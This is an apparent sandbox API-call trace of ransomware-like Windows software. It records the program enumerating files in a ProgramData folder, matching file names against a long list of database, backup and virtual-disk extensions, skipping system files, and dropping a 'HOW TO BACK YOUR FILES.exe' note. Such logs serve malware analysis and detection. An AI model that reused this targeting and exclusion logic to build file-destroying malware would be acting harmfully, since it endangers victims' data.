	[0050.841] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0050.841] lstrlenW (lpString="dct") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0050.841] lstrlenW (lpString="dcx") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0050.841] lstrlenW (lpString="ddl") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0050.841] lstrlenW (lpString="dlis") returned 4
	[0050.841] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0050.841] lstrlenW (lpString="dp1") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0050.841] lstrlenW (lpString="dqy") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0050.841] lstrlenW (lpString="dsk") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0050.841] lstrlenW (lpString="dsn") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0050.841] lstrlenW (lpString="dtsx") returned 4
	[0050.841] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0050.841] lstrlenW (lpString="dxl") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0050.841] lstrlenW (lpString="eco") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0050.841] lstrlenW (lpString="ecx") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0050.841] lstrlenW (lpString="edb") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0050.841] lstrlenW (lpString="epim") returned 4
	[0050.842] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0050.842] lstrlenW (lpString="fcd") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0050.842] lstrlenW (lpString="fdb") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0050.842] lstrlenW (lpString="fic") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0050.842] lstrlenW (lpString="flexolibrary") returned 12
	[0050.842] lstrcmpiW (lpString1="MetaData.dat", lpString2="flexolibrary") returned 1
	[0050.842] lstrlenW (lpString="fm5") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0050.842] lstrlenW (lpString="fmp") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0050.842] lstrlenW (lpString="fmp12") returned 5
	[0050.842] lstrcmpiW (lpString1="a.dat", lpString2="fmp12") returned -1
	[0050.842] lstrlenW (lpString="fmpsl") returned 5
	[0050.842] lstrcmpiW (lpString1="a.dat", lpString2="fmpsl") returned -1
	[0050.842] lstrlenW (lpString="fol") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0050.842] lstrlenW (lpString="fp3") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0050.842] lstrlenW (lpString="fp4") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0050.842] lstrlenW (lpString="fp5") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0050.842] lstrlenW (lpString="fp7") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0050.842] lstrlenW (lpString="fpt") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0050.842] lstrlenW (lpString="frm") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0050.842] lstrlenW (lpString="gdb") returned 3
	[0050.842] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0050.842] lstrlenW (lpString="gdb") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0050.843] lstrlenW (lpString="grdb") returned 4
	[0050.843] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0050.843] lstrlenW (lpString="gwi") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0050.843] lstrlenW (lpString="hdb") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0050.843] lstrlenW (lpString="his") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0050.843] lstrlenW (lpString="ib") returned 2
	[0050.843] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0050.843] lstrlenW (lpString="idb") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0050.843] lstrlenW (lpString="ihx") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0050.843] lstrlenW (lpString="itdb") returned 4
	[0050.843] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0050.843] lstrlenW (lpString="itw") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0050.843] lstrlenW (lpString="jet") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0050.843] lstrlenW (lpString="jtx") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0050.843] lstrlenW (lpString="kdb") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0050.843] lstrlenW (lpString="kexi") returned 4
	[0050.843] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0050.843] lstrlenW (lpString="kexic") returned 5
	[0050.843] lstrcmpiW (lpString1="a.dat", lpString2="kexic") returned -1
	[0050.843] lstrlenW (lpString="kexis") returned 5
	[0050.843] lstrcmpiW (lpString1="a.dat", lpString2="kexis") returned -1
	[0050.843] lstrlenW (lpString="lgc") returned 3
	[0050.843] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0050.843] lstrlenW (lpString="lwx") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0050.844] lstrlenW (lpString="maf") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0050.844] lstrlenW (lpString="maq") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0050.844] lstrlenW (lpString="mar") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0050.844] lstrlenW (lpString="marshal") returned 7
	[0050.844] lstrcmpiW (lpString1="ata.dat", lpString2="marshal") returned -1
	[0050.844] lstrlenW (lpString="mas") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0050.844] lstrlenW (lpString="mav") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0050.844] lstrlenW (lpString="maw") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0050.844] lstrlenW (lpString="mdbhtml") returned 7
	[0050.844] lstrcmpiW (lpString1="ata.dat", lpString2="mdbhtml") returned -1
	[0050.844] lstrlenW (lpString="mdn") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0050.844] lstrlenW (lpString="mdt") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0050.844] lstrlenW (lpString="mfd") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0050.844] lstrlenW (lpString="mpd") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0050.844] lstrlenW (lpString="mrg") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0050.844] lstrlenW (lpString="mud") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0050.844] lstrlenW (lpString="mwb") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0050.844] lstrlenW (lpString="myd") returned 3
	[0050.844] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0050.845] lstrlenW (lpString="ndf") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0050.845] lstrlenW (lpString="nnt") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0050.845] lstrlenW (lpString="nrmlib") returned 6
	[0050.845] lstrcmpiW (lpString1="ta.dat", lpString2="nrmlib") returned 1
	[0050.845] lstrlenW (lpString="ns2") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0050.845] lstrlenW (lpString="ns3") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0050.845] lstrlenW (lpString="ns4") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0050.845] lstrlenW (lpString="nsf") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0050.845] lstrlenW (lpString="nv") returned 2
	[0050.845] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0050.845] lstrlenW (lpString="nv2") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0050.845] lstrlenW (lpString="nwdb") returned 4
	[0050.845] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0050.845] lstrlenW (lpString="nyf") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0050.845] lstrlenW (lpString="odb") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0050.845] lstrlenW (lpString="odb") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0050.845] lstrlenW (lpString="oqy") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0050.845] lstrlenW (lpString="ora") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0050.845] lstrlenW (lpString="orx") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0050.845] lstrlenW (lpString="owc") returned 3
	[0050.845] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0050.846] lstrlenW (lpString="p96") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0050.846] lstrlenW (lpString="p97") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0050.846] lstrlenW (lpString="pan") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0050.846] lstrlenW (lpString="pdb") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0050.846] lstrlenW (lpString="pdm") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0050.846] lstrlenW (lpString="pnz") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0050.846] lstrlenW (lpString="qry") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0050.846] lstrlenW (lpString="qvd") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0050.846] lstrlenW (lpString="rbf") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0050.846] lstrlenW (lpString="rctd") returned 4
	[0050.846] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0050.846] lstrlenW (lpString="rod") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0050.846] lstrlenW (lpString="rodx") returned 4
	[0050.846] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0050.846] lstrlenW (lpString="rpd") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0050.846] lstrlenW (lpString="rsd") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0050.846] lstrlenW (lpString="sas7bdat") returned 8
	[0050.846] lstrcmpiW (lpString1="Data.dat", lpString2="sas7bdat") returned -1
	[0050.846] lstrlenW (lpString="sbf") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0050.846] lstrlenW (lpString="scx") returned 3
	[0050.846] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0050.847] lstrlenW (lpString="sdb") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0050.847] lstrlenW (lpString="sdc") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0050.847] lstrlenW (lpString="sdf") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0050.847] lstrlenW (lpString="sis") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0050.847] lstrlenW (lpString="spq") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0050.847] lstrlenW (lpString="te") returned 2
	[0050.847] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0050.847] lstrlenW (lpString="teacher") returned 7
	[0050.847] lstrcmpiW (lpString1="ata.dat", lpString2="teacher") returned -1
	[0050.847] lstrlenW (lpString="tmd") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0050.847] lstrlenW (lpString="tps") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0050.847] lstrlenW (lpString="trc") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0050.847] lstrlenW (lpString="trc") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0050.847] lstrlenW (lpString="trm") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0050.847] lstrlenW (lpString="udb") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0050.847] lstrlenW (lpString="udl") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0050.847] lstrlenW (lpString="usr") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0050.847] lstrlenW (lpString="v12") returned 3
	[0050.847] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
	[0050.847] lstrlenW (lpString="vis") returned 3
	[0050.848] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0050.848] lstrlenW (lpString="vpd") returned 3
	[0050.848] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0050.848] lstrlenW (lpString="vvv") returned 3
	[0050.848] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0050.848] lstrlenW (lpString="wdb") returned 3
	[0050.848] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0050.848] lstrlenW (lpString="wmdb") returned 4
	[0050.848] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0050.848] lstrlenW (lpString="wrk") returned 3
	[0050.848] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0050.848] lstrlenW (lpString="xdb") returned 3
	[0050.848] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0050.848] lstrlenW (lpString="xld") returned 3
	[0050.848] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0050.848] lstrlenW (lpString="xmlff") returned 5
	[0050.848] lstrcmpiW (lpString1="a.dat", lpString2="xmlff") returned -1
	[0050.848] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 0
	[0050.848] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.848] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0050.848] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\RAC\\PublishedData", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData"
	[0050.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0050.848] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0050.848] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned 42
	[0050.848] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" | out: lpString1="C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData"
	[0050.848] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.848] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.849] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.849] GetLastError () returned 0x0
	[0050.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.849] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.849] CloseHandle (hObject=0x15c) returned 1
	[0050.849] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.849] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.849] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.849] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.849] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.849] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.849] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.849] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.849] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.850] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.850] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.850] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9cac10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.850] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.850] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d4062a0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d452560, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="Apollon865.txt.exe") returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".") returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="..") returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="windows") returned -1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="bootmgr") returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="temp") returned -1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="pagefile.sys") returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="boot") returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="ids.txt") returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="ntuser.dat") returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="perflogs") returned 1
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="MSBuild") returned 1
	[0050.850] lstrlenW (lpString="RacWmiDatabase.sdf") returned 18
	[0050.850] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\*") returned 44
	[0050.850] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="RacWmiDatabase.sdf" | out: lpString1="RacWmiDatabase.sdf") returned="RacWmiDatabase.sdf"
	[0050.850] lstrlenW (lpString="RacWmiDatabase.sdf") returned 18
	[0050.850] lstrlenW (lpString="Apollon865") returned 10
	[0050.850] lstrcmpiW (lpString1="tabase.sdf", lpString2="Apollon865") returned 1
	[0050.850] lstrlenW (lpString=".dll") returned 4
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".dll") returned 1
	[0050.850] lstrlenW (lpString=".lnk") returned 4
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".lnk") returned 1
	[0050.850] lstrlenW (lpString=".ini") returned 4
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".ini") returned 1
	[0050.850] lstrlenW (lpString=".sys") returned 4
	[0050.850] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".sys") returned 1
	[0050.850] lstrlenW (lpString="RacWmiDatabase.sdf") returned 18
	[0050.851] lstrlenW (lpString="bak") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="bak") returned 1
	[0050.851] lstrlenW (lpString="ba_") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="ba_") returned 1
	[0050.851] lstrlenW (lpString="dbb") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="dbb") returned 1
	[0050.851] lstrlenW (lpString="vmdk") returned 4
	[0050.851] lstrcmpiW (lpString1=".sdf", lpString2="vmdk") returned -1
	[0050.851] lstrlenW (lpString="rar") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="rar") returned 1
	[0050.851] lstrlenW (lpString="zip") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="zip") returned -1
	[0050.851] lstrlenW (lpString="tgz") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="tgz") returned -1
	[0050.851] lstrlenW (lpString="vbox") returned 4
	[0050.851] lstrcmpiW (lpString1=".sdf", lpString2="vbox") returned -1
	[0050.851] lstrlenW (lpString="vdi") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="vdi") returned -1
	[0050.851] lstrlenW (lpString="vhd") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="vhd") returned -1
	[0050.851] lstrlenW (lpString="vhdx") returned 4
	[0050.851] lstrcmpiW (lpString1=".sdf", lpString2="vhdx") returned -1
	[0050.851] lstrlenW (lpString="avhd") returned 4
	[0050.851] lstrcmpiW (lpString1=".sdf", lpString2="avhd") returned -1
	[0050.851] lstrlenW (lpString="db") returned 2
	[0050.851] lstrcmpiW (lpString1="df", lpString2="db") returned 1
	[0050.851] lstrlenW (lpString="db2") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="db2") returned 1
	[0050.851] lstrlenW (lpString="db3") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="db3") returned 1
	[0050.851] lstrlenW (lpString="dbf") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="dbf") returned 1
	[0050.851] lstrlenW (lpString="mdf") returned 3
	[0050.851] lstrcmpiW (lpString1="sdf", lpString2="mdf") returned 1
	[0050.852] lstrlenW (lpString="mdb") returned 3
	[0050.852] lstrcmpiW (lpString1="sdf", lpString2="mdb") returned 1
	[0050.852] lstrlenW (lpString="sql") returned 3
	[0050.852] lstrcmpiW (lpString1="sdf", lpString2="sql") returned -1
	[0050.852] lstrlenW (lpString="sqlite") returned 6
	[0050.852] lstrcmpiW (lpString1="se.sdf", lpString2="sqlite") returned -1
	[0050.852] lstrlenW (lpString="sqlite3") returned 7
	[0050.852] lstrcmpiW (lpString1="ase.sdf", lpString2="sqlite3") returned -1
	[0050.852] lstrlenW (lpString="sqlitedb") returned 8
	[0050.852] lstrcmpiW (lpString1="base.sdf", lpString2="sqlitedb") returned -1
	[0050.852] lstrlenW (lpString="xml") returned 3
	[0050.852] lstrcmpiW (lpString1="sdf", lpString2="xml") returned -1
	[0050.852] lstrlenW (lpString="$er") returned 3
	[0050.852] lstrcmpiW (lpString1="sdf", lpString2="$er") returned 1
	[0050.852] lstrlenW (lpString="4dd") returned 3
	[0050.852] lstrcmpiW (lpString1="sdf", lpString2="4dd") returned 1
	[0050.852] lstrlenW (lpString="4dl") returned 3
	[0050.852] lstrcmpiW (lpString1="sdf", lpString2="4dl") returned 1
	[0050.852] lstrlenW (lpString="^^^") returned 3
	[0050.852] lstrcmpiW (lpString1="sdf", lpString2="^^^") returned 1
	[0050.852] lstrlenW (lpString="abs") returned 3
	[0050.852] lstrcmpiW (lpString1="sdf", lpString2="abs") returned 1
	[0050.852] lstrlenW (lpString="abx") returned 3
	[0050.852] lstrcmpiW (lpString1="sdf", lpString2="abx") returned 1
	[0050.852] lstrlenW (lpString="accdb") returned 5
	[0050.852] lstrcmpiW (lpString1="e.sdf", lpString2="accdb") returned 1
	[0050.852] lstrlenW (lpString="accdc") returned 5
	[0050.852] lstrcmpiW (lpString1="e.sdf", lpString2="accdc") returned 1
	[0050.852] lstrlenW (lpString="accde") returned 5
	[0050.852] lstrcmpiW (lpString1="e.sdf", lpString2="accde") returned 1
	[0050.852] lstrlenW (lpString="accdr") returned 5
	[0050.852] lstrcmpiW (lpString1="e.sdf", lpString2="accdr") returned 1
